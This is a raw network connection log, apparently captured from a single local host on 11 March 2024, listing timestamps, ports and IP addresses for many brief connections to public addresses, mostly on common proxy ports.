Mar 11, 2024 18:36:45.228359938 CET	50323	4153	192.168.2.8	177.91.76.34
Mar 11, 2024 18:36:45.228411913 CET	50324	8080	192.168.2.8	46.209.207.153
Mar 11, 2024 18:36:45.228641987 CET	17893	50106	72.10.160.90	192.168.2.8
Mar 11, 2024 18:36:45.229022980 CET	9002	49830	220.248.70.237	192.168.2.8
Mar 11, 2024 18:36:45.229058027 CET	9002	49830	220.248.70.237	192.168.2.8
Mar 11, 2024 18:36:45.229105949 CET	9002	49830	220.248.70.237	192.168.2.8
Mar 11, 2024 18:36:45.229141951 CET	49830	9002	192.168.2.8	220.248.70.237
Mar 11, 2024 18:36:45.229187965 CET	49830	9002	192.168.2.8	220.248.70.237
Mar 11, 2024 18:36:45.230053902 CET	3128	49880	18.134.236.231	192.168.2.8
Mar 11, 2024 18:36:45.230103016 CET	50325	4145	192.168.2.8	197.234.13.36
Mar 11, 2024 18:36:45.230812073 CET	50326	80	192.168.2.8	186.124.164.213
Mar 11, 2024 18:36:45.231204033 CET	50327	80	192.168.2.8	203.243.63.16
Mar 11, 2024 18:36:45.231570959 CET	50328	4153	192.168.2.8	92.255.190.41
Mar 11, 2024 18:36:45.231728077 CET	3128	49880	18.134.236.231	192.168.2.8
Mar 11, 2024 18:36:45.231980085 CET	50329	9123	192.168.2.8	173.249.29.243
Mar 11, 2024 18:36:45.232156992 CET	49880	3128	192.168.2.8	18.134.236.231
Mar 11, 2024 18:36:45.232253075 CET	50330	3128	192.168.2.8	62.171.184.96
Mar 11, 2024 18:36:45.233644962 CET	80	49946	104.16.106.65	192.168.2.8
Mar 11, 2024 18:36:45.237471104 CET	49760	5678	192.168.2.8	178.212.51.79
Mar 11, 2024 18:36:45.238450050 CET	14921	50135	192.252.211.197	192.168.2.8
Mar 11, 2024 18:36:45.239564896 CET	15082	49718	45.77.111.135	192.168.2.8
Mar 11, 2024 18:36:45.242974997 CET	24279	50118	67.43.228.251	192.168.2.8
Mar 11, 2024 18:36:45.243760109 CET	8080	49854	181.212.45.228	192.168.2.8
Mar 11, 2024 18:36:45.243948936 CET	50331	5678	192.168.2.8	171.100.23.244
Mar 11, 2024 18:36:45.244092941 CET	50332	4145	192.168.2.8	202.124.46.97
Mar 11, 2024 18:36:45.244621038 CET	50333	80	192.168.2.8	54.152.3.36
Mar 11, 2024 18:36:45.244715929 CET	50334	42771	192.168.2.8	162.240.239.103
Mar 11, 2024 18:36:45.245544910 CET	50335	83	192.168.2.8	103.48.68.101
Mar 11, 2024 18:36:45.245827913 CET	50336	8089	192.168.2.8	117.70.49.27
Mar 11, 2024 18:36:45.245879889 CET	3128	50167	80.251.219.40	192.168.2.8
Mar 11, 2024 18:36:45.246171951 CET	50337	999	192.168.2.8	190.97.238.88
Mar 11, 2024 18:36:45.246740103 CET	50338	1981	192.168.2.8	41.65.236.37
Mar 11, 2024 18:36:45.246982098 CET	50339	64654	192.168.2.8	162.19.7.53
Mar 11, 2024 18:36:45.247548103 CET	50340	34172	192.168.2.8	162.241.46.6
Mar 11, 2024 18:36:45.248172998 CET	50342	39789	192.168.2.8	209.142.64.219
Mar 11, 2024 18:36:45.248240948 CET	50341	999	192.168.2.8	190.95.195.105
Mar 11, 2024 18:36:45.248754025 CET	50343	8811	192.168.2.8	51.158.68.68
Mar 11, 2024 18:36:45.249166965 CET	50344	999	192.168.2.8	190.90.22.106
Mar 11, 2024 18:36:45.249339104 CET	80	50074	185.238.228.67	192.168.2.8
Mar 11, 2024 18:36:45.249418974 CET	50345	42571	192.168.2.8	92.204.134.38
Mar 11, 2024 18:36:45.249425888 CET	80	50074	185.238.228.67	192.168.2.8
Mar 11, 2024 18:36:45.249613047 CET	50074	80	192.168.2.8	185.238.228.67
Mar 11, 2024 18:36:45.250041008 CET	80	50074	185.238.228.67	192.168.2.8
Mar 11, 2024 18:36:45.250094891 CET	50074	80	192.168.2.8	185.238.228.67
Mar 11, 2024 18:36:45.250199080 CET	50346	999	192.168.2.8	181.204.0.36
Mar 11, 2024 18:36:45.250411034 CET	50347	999	192.168.2.8	179.60.219.63
Mar 11, 2024 18:36:45.250802994 CET	50348	80	192.168.2.8	104.25.167.88
Mar 11, 2024 18:36:45.251036882 CET	50349	8080	192.168.2.8	137.59.161.177
Mar 11, 2024 18:36:45.251425028 CET	50350	7890	192.168.2.8	116.5.187.116
Mar 11, 2024 18:36:45.251590014 CET	6014	50057	45.11.95.166	192.168.2.8
Mar 11, 2024 18:36:45.251653910 CET	50057	6014	192.168.2.8	45.11.95.166
Mar 11, 2024 18:36:45.251709938 CET	50351	5678	192.168.2.8	201.144.20.231
Mar 11, 2024 18:36:45.252029896 CET	50057	6014	192.168.2.8	45.11.95.166
Mar 11, 2024 18:36:45.252204895 CET	3500	50102	23.225.72.122	192.168.2.8
Mar 11, 2024 18:36:45.252268076 CET	50102	3500	192.168.2.8	23.225.72.122
Mar 11, 2024 18:36:45.252341032 CET	50102	3500	192.168.2.8	23.225.72.122
Mar 11, 2024 18:36:45.252473116 CET	50352	31247	192.168.2.8	202.40.181.220
Mar 11, 2024 18:36:45.252665997 CET	1431	50125	72.10.164.178	192.168.2.8
Mar 11, 2024 18:36:45.252696991 CET	50353	8080	192.168.2.8	182.52.229.165
Mar 11, 2024 18:36:45.253215075 CET	50354	8888	192.168.2.8	136.244.99.51
Mar 11, 2024 18:36:45.256263018 CET	10363	50128	67.43.236.20	192.168.2.8
Mar 11, 2024 18:36:45.257755041 CET	80	49974	104.18.20.160	192.168.2.8
Mar 11, 2024 18:36:45.257879019 CET	50355	999	192.168.2.8	201.71.3.42
Mar 11, 2024 18:36:45.258421898 CET	50357	8181	192.168.2.8	103.234.28.211
Mar 11, 2024 18:36:45.258460999 CET	50356	80	192.168.2.8	172.67.231.3
Mar 11, 2024 18:36:45.258682966 CET	50358	80	192.168.2.8	203.57.51.53
Mar 11, 2024 18:36:45.258883953 CET	50359	6522	192.168.2.8	45.117.179.179
Mar 11, 2024 18:36:45.259073019 CET	50360	80	192.168.2.8	115.42.45.1
Mar 11, 2024 18:36:45.259157896 CET	80	50198	172.67.150.173	192.168.2.8
Mar 11, 2024 18:36:45.259165049 CET	50361	27102	192.168.2.8	128.199.196.31
Mar 11, 2024 18:36:45.259279966 CET	50198	80	192.168.2.8	172.67.150.173
Mar 11, 2024 18:36:45.259305000 CET	80	50197	104.20.24.214	192.168.2.8
Mar 11, 2024 18:36:45.259366989 CET	50197	80	192.168.2.8	104.20.24.214
Mar 11, 2024 18:36:45.259462118 CET	50197	80	192.168.2.8	104.20.24.214
Mar 11, 2024 18:36:45.259463072 CET	5678	50060	202.165.47.49	192.168.2.8
Mar 11, 2024 18:36:45.259495974 CET	50198	80	192.168.2.8	172.67.150.173
Mar 11, 2024 18:36:45.259565115 CET	50362	999	192.168.2.8	191.97.9.228
Mar 11, 2024 18:36:45.259747028 CET	50363	49202	192.168.2.8	51.161.131.84
Mar 11, 2024 18:36:45.259922028 CET	50365	8080	192.168.2.8	95.57.216.118
Mar 11, 2024 18:36:45.259980917 CET	50364	4145	192.168.2.8	197.234.13.17
Mar 11, 2024 18:36:45.260236025 CET	50366	8080	192.168.2.8	5.78.89.192
Mar 11, 2024 18:36:45.260327101 CET	50367	8080	192.168.2.8	154.73.29.161
Mar 11, 2024 18:36:45.260489941 CET	50368	60964	192.168.2.8	192.163.202.88
Mar 11, 2024 18:36:45.260966063 CET	50369	9050	192.168.2.8	45.113.80.37
Mar 11, 2024 18:36:45.261996031 CET	50371	1080	192.168.2.8	202.162.219.10
Mar 11, 2024 18:36:45.262042999 CET	50370	80	192.168.2.8	50.173.140.149
Mar 11, 2024 18:36:45.262270927 CET	50372	999	192.168.2.8	189.173.223.225
Mar 11, 2024 18:36:45.262660027 CET	50373	2080	192.168.2.8	152.136.151.195
Mar 11, 2024 18:36:45.262883902 CET	50374	60200	192.168.2.8	162.241.137.197
Mar 11, 2024 18:36:45.263777018 CET	50375	8080	192.168.2.8	213.184.153.66
Mar 11, 2024 18:36:45.264143944 CET	50376	80	192.168.2.8	91.65.102.60
Mar 11, 2024 18:36:45.264384031 CET	50377	3128	192.168.2.8	220.194.189.144
Mar 11, 2024 18:36:45.264556885 CET	50378	4145	192.168.2.8	72.195.114.169
Mar 11, 2024 18:36:45.264887094 CET	50379	8080	192.168.2.8	103.176.96.132
Mar 11, 2024 18:36:45.265469074 CET	5678	49876	1.15.62.12	192.168.2.8
Mar 11, 2024 18:36:45.265475035 CET	50380	80	192.168.2.8	172.67.3.98
Mar 11, 2024 18:36:45.265765905 CET	50381	39452	192.168.2.8	167.172.109.12
Mar 11, 2024 18:36:45.266623020 CET	50382	8080	192.168.2.8	91.148.127.162
Mar 11, 2024 18:36:45.266860962 CET	50383	6001	192.168.2.8	20.106.146.212
Mar 11, 2024 18:36:45.267237902 CET	50384	80	192.168.2.8	104.24.193.186
Mar 11, 2024 18:36:45.267817020 CET	50385	37758	192.168.2.8	37.32.98.160
Mar 11, 2024 18:36:45.267889023 CET	50386	999	192.168.2.8	190.114.245.122
Mar 11, 2024 18:36:45.268476009 CET	80	50211	172.67.38.96	192.168.2.8
Mar 11, 2024 18:36:45.268630028 CET	50211	80	192.168.2.8	172.67.38.96
Mar 11, 2024 18:36:45.268703938 CET	49722	8081	192.168.2.8	154.72.90.74
Mar 11, 2024 18:36:45.268703938 CET	49817	26315	192.168.2.8	72.10.160.171
Mar 11, 2024 18:36:45.268785000 CET	49749	5678	192.168.2.8	122.152.53.25
Mar 11, 2024 18:36:45.268888950 CET	50211	80	192.168.2.8	172.67.38.96
Mar 11, 2024 18:36:45.269068956 CET	50387	80	192.168.2.8	50.218.57.68
Mar 11, 2024 18:36:45.269234896 CET	50388	22735	192.168.2.8	91.142.222.84
Mar 11, 2024 18:36:45.269753933 CET	50389	19599	192.168.2.8	67.43.227.228
Mar 11, 2024 18:36:45.270008087 CET	50390	5678	192.168.2.8	36.67.14.195
Mar 11, 2024 18:36:45.270814896 CET	50391	80	192.168.2.8	104.25.81.82
Mar 11, 2024 18:36:45.271119118 CET	50392	15673	192.168.2.8	198.23.229.203
Mar 11, 2024 18:36:45.271429062 CET	50393	8080	192.168.2.8	216.74.255.182
Mar 11, 2024 18:36:45.271950006 CET	50394	62801	192.168.2.8	146.59.147.11
Mar 11, 2024 18:36:45.272207975 CET	50395	46983	192.168.2.8	132.148.167.231
Mar 11, 2024 18:36:45.272362947 CET	5430	50066	202.179.184.44	192.168.2.8
Mar 11, 2024 18:36:45.272465944 CET	50066	5430	192.168.2.8	202.179.184.44
Mar 11, 2024 18:36:45.272663116 CET	50066	5430	192.168.2.8	202.179.184.44
Mar 11, 2024 18:36:45.272763968 CET	50396	4145	192.168.2.8	103.58.16.57
Mar 11, 2024 18:36:45.273289919 CET	50397	41491	192.168.2.8	167.172.109.12
Mar 11, 2024 18:36:45.273600101 CET	50398	4145	192.168.2.8	110.77.232.172
Mar 11, 2024 18:36:45.274269104 CET	50399	5432	192.168.2.8	45.196.151.84
Mar 11, 2024 18:36:45.274563074 CET	50400	999	192.168.2.8	181.78.22.228
Mar 11, 2024 18:36:45.274717093 CET	50401	80	192.168.2.8	36.92.193.189
Mar 11, 2024 18:36:45.275357962 CET	50402	4145	192.168.2.8	103.66.233.225
Mar 11, 2024 18:36:45.275592089 CET	4145	50201	199.102.107.145	192.168.2.8
Mar 11, 2024 18:36:45.275645018 CET	50403	4153	192.168.2.8	103.95.97.42
Mar 11, 2024 18:36:45.275646925 CET	8080	50212	66.225.246.238	192.168.2.8
Mar 11, 2024 18:36:45.275702953 CET	50212	8080	192.168.2.8	66.225.246.238
Mar 11, 2024 18:36:45.275917053 CET	50212	8080	192.168.2.8	66.225.246.238
Mar 11, 2024 18:36:45.276190996 CET	4145	50213	68.1.210.163	192.168.2.8
Mar 11, 2024 18:36:45.276196957 CET	50404	5678	192.168.2.8	103.131.8.27
Mar 11, 2024 18:36:45.276206017 CET	80	50220	31.43.179.214	192.168.2.8
Mar 11, 2024 18:36:45.276232958 CET	50213	4145	192.168.2.8	68.1.210.163
Mar 11, 2024 18:36:45.276268959 CET	50220	80	192.168.2.8	31.43.179.214
Mar 11, 2024 18:36:45.276761055 CET	4145	50129	190.153.121.2	192.168.2.8
Mar 11, 2024 18:36:45.276762962 CET	50220	80	192.168.2.8	31.43.179.214
Mar 11, 2024 18:36:45.276823997 CET	50129	4145	192.168.2.8	190.153.121.2
Mar 11, 2024 18:36:45.276977062 CET	4145	50214	24.249.199.4	192.168.2.8
Mar 11, 2024 18:36:45.277024984 CET	50214	4145	192.168.2.8	24.249.199.4
Mar 11, 2024 18:36:45.277103901 CET	50129	4145	192.168.2.8	190.153.121.2
Mar 11, 2024 18:36:45.277441978 CET	50405	41746	192.168.2.8	51.79.87.144
Mar 11, 2024 18:36:45.277606010 CET	50406	3629	192.168.2.8	91.220.69.43
Mar 11, 2024 18:36:45.277904034 CET	50407	3825	192.168.2.8	104.247.163.246
Mar 11, 2024 18:36:45.278397083 CET	50408	4145	192.168.2.8	168.205.217.13
Mar 11, 2024 18:36:45.278542995 CET	50409	6821	192.168.2.8	198.12.255.193
Mar 11, 2024 18:36:45.278884888 CET	50410	8888	192.168.2.8	217.219.74.130
Mar 11, 2024 18:36:45.279462099 CET	50411	8080	192.168.2.8	27.54.71.231
Mar 11, 2024 18:36:45.279872894 CET	50412	8888	192.168.2.8	120.79.101.0
Mar 11, 2024 18:36:45.279872894 CET	50413	8080	192.168.2.8	193.34.95.110
Mar 11, 2024 18:36:45.281045914 CET	50414	20435	192.168.2.8	51.89.173.40
Mar 11, 2024 18:36:45.281116962 CET	50415	80	192.168.2.8	133.232.90.96
Mar 11, 2024 18:36:45.281765938 CET	50416	80	192.168.2.8	154.118.228.212
Mar 11, 2024 18:36:45.281985998 CET	50417	29212	192.168.2.8	92.204.135.203
Mar 11, 2024 18:36:45.282407045 CET	50418	49685	192.168.2.8	195.154.243.38
Mar 11, 2024 18:36:45.282659054 CET	41274	50164	162.241.158.204	192.168.2.8
Mar 11, 2024 18:36:45.282663107 CET	50419	4145	192.168.2.8	92.207.253.226
Mar 11, 2024 18:36:45.283101082 CET	50420	24543	192.168.2.8	209.159.153.19
Mar 11, 2024 18:36:45.283651114 CET	50421	16379	192.168.2.8	51.158.77.220
Mar 11, 2024 18:36:45.283845901 CET	50422	31476	192.168.2.8	170.244.64.12
Mar 11, 2024 18:36:45.284029007 CET	9375	49724	92.204.134.38	192.168.2.8
Mar 11, 2024 18:36:45.284082890 CET	4145	50165	184.170.249.65	192.168.2.8
Mar 11, 2024 18:36:45.284337997 CET	49826	9039	192.168.2.8	67.43.227.228
Mar 11, 2024 18:36:45.284739017 CET	16379	50098	51.158.108.134	192.168.2.8
Mar 11, 2024 18:36:45.284804106 CET	50098	16379	192.168.2.8	51.158.108.134
Mar 11, 2024 18:36:45.285566092 CET	50098	16379	192.168.2.8	51.158.108.134
Mar 11, 2024 18:36:45.285644054 CET	50423	3128	192.168.2.8	188.56.223.85
Mar 11, 2024 18:36:45.286959887 CET	50424	8080	192.168.2.8	190.104.20.82
Mar 11, 2024 18:36:45.287976027 CET	50425	80	192.168.2.8	102.130.125.86
Mar 11, 2024 18:36:45.288988113 CET	50426	8888	192.168.2.8	188.166.30.17
Mar 11, 2024 18:36:45.289916039 CET	50427	5678	192.168.2.8	203.205.34.58
Mar 11, 2024 18:36:45.290782928 CET	3128	49877	160.16.90.35	192.168.2.8
Mar 11, 2024 18:36:45.290843010 CET	80	50002	172.67.181.197	192.168.2.8
Mar 11, 2024 18:36:45.291126966 CET	50428	5020	192.168.2.8	176.192.65.34
Mar 11, 2024 18:36:45.292009115 CET	49877	3128	192.168.2.8	160.16.90.35
Mar 11, 2024 18:36:45.292020082 CET	80	50092	23.227.38.198	192.168.2.8
Mar 11, 2024 18:36:45.292079926 CET	80	50092	23.227.38.198	192.168.2.8
Mar 11, 2024 18:36:45.292423010 CET	50092	80	192.168.2.8	23.227.38.198
Mar 11, 2024 18:36:45.292613983 CET	3129	50053	20.219.177.85	192.168.2.8
Mar 11, 2024 18:36:45.293159962 CET	80	50237	104.17.171.235	192.168.2.8
Mar 11, 2024 18:36:45.293210983 CET	8000	49734	14.103.24.148	192.168.2.8
Mar 11, 2024 18:36:45.293229103 CET	50237	80	192.168.2.8	104.17.171.235
Mar 11, 2024 18:36:45.293673038 CET	50237	80	192.168.2.8	104.17.171.235
Mar 11, 2024 18:36:45.293817043 CET	50429	8080	192.168.2.8	8.218.100.120
Mar 11, 2024 18:36:45.293925047 CET	80	50092	23.227.38.198	192.168.2.8
Mar 11, 2024 18:36:45.293977022 CET	50092	80	192.168.2.8	23.227.38.198
Mar 11, 2024 18:36:45.294008017 CET	80	50006	104.27.15.161	192.168.2.8
Mar 11, 2024 18:36:45.294790030 CET	50430	999	192.168.2.8	45.174.248.19
Mar 11, 2024 18:36:45.295758009 CET	4145	50224	199.102.106.94	192.168.2.8
Mar 11, 2024 18:36:45.295787096 CET	50431	8082	192.168.2.8	80.72.68.247
Mar 11, 2024 18:36:45.296904087 CET	50432	4145	192.168.2.8	199.58.185.9
Mar 11, 2024 18:36:45.297838926 CET	50433	25491	192.168.2.8	67.43.227.230
Mar 11, 2024 18:36:45.298737049 CET	999	50140	45.229.34.174	192.168.2.8
Mar 11, 2024 18:36:45.298779011 CET	50434	26976	192.168.2.8	124.198.74.90
Mar 11, 2024 18:36:45.299731016 CET	4153	50047	103.83.105.167	192.168.2.8
Mar 11, 2024 18:36:45.299952984 CET	50435	64494	192.168.2.8	37.187.77.58
Mar 11, 2024 18:36:45.299990892 CET	49714	8080	192.168.2.8	103.169.130.46
Mar 11, 2024 18:36:45.300004959 CET	49709	5678	192.168.2.8	91.187.55.39
Mar 11, 2024 18:36:45.300007105 CET	49712	5212	192.168.2.8	45.11.95.165
Mar 11, 2024 18:36:45.300012112 CET	49770	3128	192.168.2.8	46.245.77.52
Mar 11, 2024 18:36:45.300014973 CET	49711	80	192.168.2.8	18.141.177.23
Mar 11, 2024 18:36:45.300034046 CET	49715	8080	192.168.2.8	103.141.66.78
Mar 11, 2024 18:36:45.300045013 CET	49834	80	192.168.2.8	50.172.218.160
Mar 11, 2024 18:36:45.300051928 CET	49716	50640	192.168.2.8	203.161.32.242
Mar 11, 2024 18:36:45.300061941 CET	49723	84	192.168.2.8	103.26.108.118
Mar 11, 2024 18:36:45.300098896 CET	49720	587	192.168.2.8	160.248.80.91
Mar 11, 2024 18:36:45.300105095 CET	49713	8080	192.168.2.8	103.186.8.162
Mar 11, 2024 18:36:45.300421953 CET	80	50249	172.67.182.126	192.168.2.8
Mar 11, 2024 18:36:45.300484896 CET	50249	80	192.168.2.8	172.67.182.126
Mar 11, 2024 18:36:45.301487923 CET	50249	80	192.168.2.8	172.67.182.126
Mar 11, 2024 18:36:45.301512003 CET	40351	49750	51.222.241.157	192.168.2.8
Mar 11, 2024 18:36:45.302845955 CET	50436	80	192.168.2.8	140.83.32.175
Mar 11, 2024 18:36:45.303915977 CET	50437	4145	192.168.2.8	184.178.172.3
Mar 11, 2024 18:36:45.304205894 CET	21777	50158	51.222.84.118	192.168.2.8
Mar 11, 2024 18:36:45.304610014 CET	8081	49726	79.110.196.145	192.168.2.8
Mar 11, 2024 18:36:45.305136919 CET	50438	80	192.168.2.8	172.67.14.237
Mar 11, 2024 18:36:45.306132078 CET	50439	3128	192.168.2.8	59.15.28.76
Mar 11, 2024 18:36:45.306468010 CET	9080	50190	154.205.152.96	192.168.2.8
Mar 11, 2024 18:36:45.306528091 CET	50190	9080	192.168.2.8	154.205.152.96
Mar 11, 2024 18:36:45.306746960 CET	5000	50077	49.228.131.169	192.168.2.8
Mar 11, 2024 18:36:45.306822062 CET	50077	5000	192.168.2.8	49.228.131.169
Mar 11, 2024 18:36:45.307039976 CET	50190	9080	192.168.2.8	154.205.152.96
Mar 11, 2024 18:36:45.307387114 CET	50077	5000	192.168.2.8	49.228.131.169
Mar 11, 2024 18:36:45.307604074 CET	31979	50097	51.77.65.164	192.168.2.8
Mar 11, 2024 18:36:45.308427095 CET	50440	80	192.168.2.8	185.238.228.240
Mar 11, 2024 18:36:45.311624050 CET	9764	50029	162.243.102.207	192.168.2.8
Mar 11, 2024 18:36:45.311664104 CET	9764	50029	162.243.102.207	192.168.2.8
Mar 11, 2024 18:36:45.315654993 CET	12334	50187	194.4.50.62	192.168.2.8
Mar 11, 2024 18:36:45.315658092 CET	49725	48892	192.168.2.8	72.167.222.113
Mar 11, 2024 18:36:45.315659046 CET	49728	80	192.168.2.8	190.186.237.103
Mar 11, 2024 18:36:45.315691948 CET	49732	8089	192.168.2.8	117.70.49.235
Mar 11, 2024 18:36:45.315699100 CET	49730	8080	192.168.2.8	201.20.67.70
Mar 11, 2024 18:36:45.315737009 CET	50187	12334	192.168.2.8	194.4.50.62
Mar 11, 2024 18:36:45.316591024 CET	13477	50179	72.10.164.178	192.168.2.8
Mar 11, 2024 18:36:45.317923069 CET	80	49775	50.239.72.18	192.168.2.8
Mar 11, 2024 18:36:45.318989038 CET	56350	50089	148.66.130.53	192.168.2.8
Mar 11, 2024 18:36:45.319052935 CET	50089	56350	192.168.2.8	148.66.130.53
Mar 11, 2024 18:36:45.319293022 CET	50187	12334	192.168.2.8	194.4.50.62
Mar 11, 2024 18:36:45.319952965 CET	50089	56350	192.168.2.8	148.66.130.53
Mar 11, 2024 18:36:45.320585012 CET	4153	50055	202.166.219.80	192.168.2.8
Mar 11, 2024 18:36:45.320669889 CET	50055	4153	192.168.2.8	202.166.219.80
Mar 11, 2024 18:36:45.321146965 CET	50055	4153	192.168.2.8	202.166.219.80
Mar 11, 2024 18:36:45.321161032 CET	50442	9764	192.168.2.8	162.243.102.207
Mar 11, 2024 18:36:45.321233988 CET	80	50272	172.67.181.129	192.168.2.8
Mar 11, 2024 18:36:45.321288109 CET	50272	80	192.168.2.8	172.67.181.129
Mar 11, 2024 18:36:45.321538925 CET	50272	80	192.168.2.8	172.67.181.129
Mar 11, 2024 18:36:45.321784019 CET	30951	49751	72.10.160.90	192.168.2.8
Mar 11, 2024 18:36:45.321824074 CET	50443	53777	192.168.2.8	104.238.111.107
Mar 11, 2024 18:36:45.322068930 CET	50444	999	192.168.2.8	201.77.108.64
Mar 11, 2024 18:36:45.322292089 CET	50445	4153	192.168.2.8	179.109.193.228
Mar 11, 2024 18:36:45.322371960 CET	50446	8080	192.168.2.8	183.88.184.48
Mar 11, 2024 18:36:45.322508097 CET	50447	3335	192.168.2.8	67.43.236.20
Mar 11, 2024 18:36:45.322663069 CET	50448	80	192.168.2.8	172.67.209.12
Mar 11, 2024 18:36:45.322864056 CET	50449	3128	192.168.2.8	193.239.86.248
Mar 11, 2024 18:36:45.322864056 CET	50450	5678	192.168.2.8	91.247.92.63
Mar 11, 2024 18:36:45.322978973 CET	50451	999	192.168.2.8	190.110.99.189
Mar 11, 2024 18:36:45.323110104 CET	50452	80	192.168.2.8	104.20.103.68
Mar 11, 2024 18:36:45.323487043 CET	50441	8080	192.168.2.8	186.233.25.83
Mar 11, 2024 18:36:45.326288939 CET	80	50282	104.17.166.210	192.168.2.8
Mar 11, 2024 18:36:45.326353073 CET	50282	80	192.168.2.8	104.17.166.210
Mar 11, 2024 18:36:45.327071905 CET	5678	50070	223.25.98.82	192.168.2.8
Mar 11, 2024 18:36:45.327110052 CET	80	49971	52.196.1.182	192.168.2.8
Mar 11, 2024 18:36:45.328636885 CET	8888	50071	93.171.220.229	192.168.2.8
Mar 11, 2024 18:36:45.328706980 CET	50071	8888	192.168.2.8	93.171.220.229
Mar 11, 2024 18:36:45.329385042 CET	80	49971	52.196.1.182	192.168.2.8
Mar 11, 2024 18:36:45.331212997 CET	49735	37736	192.168.2.8	207.180.234.220
Mar 11, 2024 18:36:45.331212997 CET	49731	1080	192.168.2.8	47.91.110.154
Mar 11, 2024 18:36:45.331224918 CET	49733	49478	192.168.2.8	162.241.70.64
Mar 11, 2024 18:36:45.331250906 CET	49739	3128	192.168.2.8	3.24.58.156
Mar 11, 2024 18:36:45.331265926 CET	49742	59920	192.168.2.8	45.56.220.210
Mar 11, 2024 18:36:45.331289053 CET	49743	3125	192.168.2.8	103.226.232.188
Mar 11, 2024 18:36:45.331538916 CET	80	50121	104.20.123.164	192.168.2.8
Mar 11, 2024 18:36:45.331593990 CET	80	50121	104.20.123.164	192.168.2.8
Mar 11, 2024 18:36:45.332868099 CET	80	50121	104.20.123.164	192.168.2.8
Mar 11, 2024 18:36:45.332916975 CET	50121	80	192.168.2.8	104.20.123.164
Mar 11, 2024 18:36:45.337270975 CET	1080	50251	54.212.22.168	192.168.2.8
Mar 11, 2024 18:36:45.337574005 CET	50251	1080	192.168.2.8	54.212.22.168
Mar 11, 2024 18:36:45.338078976 CET	50251	1080	192.168.2.8	54.212.22.168
Mar 11, 2024 18:36:45.338251114 CET	50121	80	192.168.2.8	104.20.123.164
Mar 11, 2024 18:36:45.338790894 CET	50071	8888	192.168.2.8	93.171.220.229
Mar 11, 2024 18:36:45.338874102 CET	49971	80	192.168.2.8	52.196.1.182
Mar 11, 2024 18:36:45.339102983 CET	4145	50270	142.54.237.34	192.168.2.8
Mar 11, 2024 18:36:45.339435101 CET	50453	9999	192.168.2.8	113.195.224.222
Mar 11, 2024 18:36:45.339437008 CET	50454	16379	192.168.2.8	51.158.105.107
Mar 11, 2024 18:36:45.339683056 CET	50282	80	192.168.2.8	104.17.166.210
Mar 11, 2024 18:36:45.340451956 CET	50455	8080	192.168.2.8	186.103.130.91
Mar 11, 2024 18:36:45.340770006 CET	50456	80	192.168.2.8	82.97.215.240
Mar 11, 2024 18:36:45.341432095 CET	50458	80	192.168.2.8	43.231.22.229
Mar 11, 2024 18:36:45.341573954 CET	50457	3128	192.168.2.8	15.207.196.77
Mar 11, 2024 18:36:45.342308044 CET	50459	80	192.168.2.8	217.112.80.252
Mar 11, 2024 18:36:45.342308044 CET	50460	5836	192.168.2.8	185.158.248.95
Mar 11, 2024 18:36:45.343228102 CET	50461	8888	192.168.2.8	23.94.123.243
Mar 11, 2024 18:36:45.343291998 CET	50462	59559	192.168.2.8	192.163.200.80
Mar 11, 2024 18:36:45.344172955 CET	50463	80	192.168.2.8	104.16.105.142
Mar 11, 2024 18:36:45.345046043 CET	50465	27391	192.168.2.8	72.195.34.60
Mar 11, 2024 18:36:45.345055103 CET	50464	999	192.168.2.8	157.100.56.40
Mar 11, 2024 18:36:45.345256090 CET	8193	49930	211.222.252.187	192.168.2.8
Mar 11, 2024 18:36:45.345274925 CET	8193	49930	211.222.252.187	192.168.2.8
Mar 11, 2024 18:36:45.345313072 CET	49930	8193	192.168.2.8	211.222.252.187
Mar 11, 2024 18:36:45.345379114 CET	49930	8193	192.168.2.8	211.222.252.187
Mar 11, 2024 18:36:45.346050978 CET	50466	3128	192.168.2.8	2.179.193.146
Mar 11, 2024 18:36:45.346067905 CET	49741	8888	192.168.2.8	200.174.198.95
Mar 11, 2024 18:36:45.346086979 CET	4145	50163	174.75.211.222	192.168.2.8
Mar 11, 2024 18:36:45.346194983 CET	50163	4145	192.168.2.8	174.75.211.222
Mar 11, 2024 18:36:45.346422911 CET	50467	8193	192.168.2.8	211.222.252.187
Mar 11, 2024 18:36:45.346684933 CET	50163	4145	192.168.2.8	174.75.211.222
Mar 11, 2024 18:36:45.346838951 CET	49746	5678	192.168.2.8	143.255.140.28
Mar 11, 2024 18:36:45.346842051 CET	49748	8080	192.168.2.8	103.167.68.255
Mar 11, 2024 18:36:45.346853018 CET	49747	8081	192.168.2.8	113.53.3.242
Mar 11, 2024 18:36:45.346854925 CET	49896	45248	192.168.2.8	166.62.121.127
Mar 11, 2024 18:36:45.347371101 CET	7777	50093	218.6.120.111	192.168.2.8
Mar 11, 2024 18:36:45.347403049 CET	50468	3128	192.168.2.8	18.135.211.182
Mar 11, 2024 18:36:45.347438097 CET	50093	7777	192.168.2.8	218.6.120.111
Mar 11, 2024 18:36:45.347683907 CET	50093	7777	192.168.2.8	218.6.120.111
Mar 11, 2024 18:36:45.347702026 CET	50469	6060	192.168.2.8	185.165.232.65
Mar 11, 2024 18:36:45.348790884 CET	999	50159	177.234.194.158	192.168.2.8
Mar 11, 2024 18:36:45.348804951 CET	10722	50271	192.163.202.88	192.168.2.8
Mar 11, 2024 18:36:45.348886967 CET	50271	10722	192.168.2.8	192.163.202.88
Mar 11, 2024 18:36:45.348918915 CET	50159	999	192.168.2.8	177.234.194.158
Mar 11, 2024 18:36:45.349247932 CET	50271	10722	192.168.2.8	192.163.202.88
Mar 11, 2024 18:36:45.349268913 CET	50159	999	192.168.2.8	177.234.194.158
Mar 11, 2024 18:36:45.349603891 CET	50470	14287	192.168.2.8	64.227.108.182
Mar 11, 2024 18:36:45.349872112 CET	55066	50132	167.86.115.103	192.168.2.8
Mar 11, 2024 18:36:45.352698088 CET	8888	49905	65.109.152.88	192.168.2.8
Mar 11, 2024 18:36:45.352987051 CET	4495	49765	67.43.228.252	192.168.2.8
Mar 11, 2024 18:36:45.353921890 CET	49401	50264	162.241.46.40	192.168.2.8
Mar 11, 2024 18:36:45.354016066 CET	50264	49401	192.168.2.8	162.241.46.40
Mar 11, 2024 18:36:45.354198933 CET	50264	49401	192.168.2.8	162.241.46.40
Mar 11, 2024 18:36:45.357294083 CET	80	49912	39.105.5.126	192.168.2.8
Mar 11, 2024 18:36:45.357351065 CET	49912	80	192.168.2.8	39.105.5.126
Mar 11, 2024 18:36:45.357454062 CET	49912	80	192.168.2.8	39.105.5.126
Mar 11, 2024 18:36:45.357825041 CET	80	49912	39.105.5.126	192.168.2.8
Mar 11, 2024 18:36:45.358122110 CET	50471	80	192.168.2.8	39.105.5.126
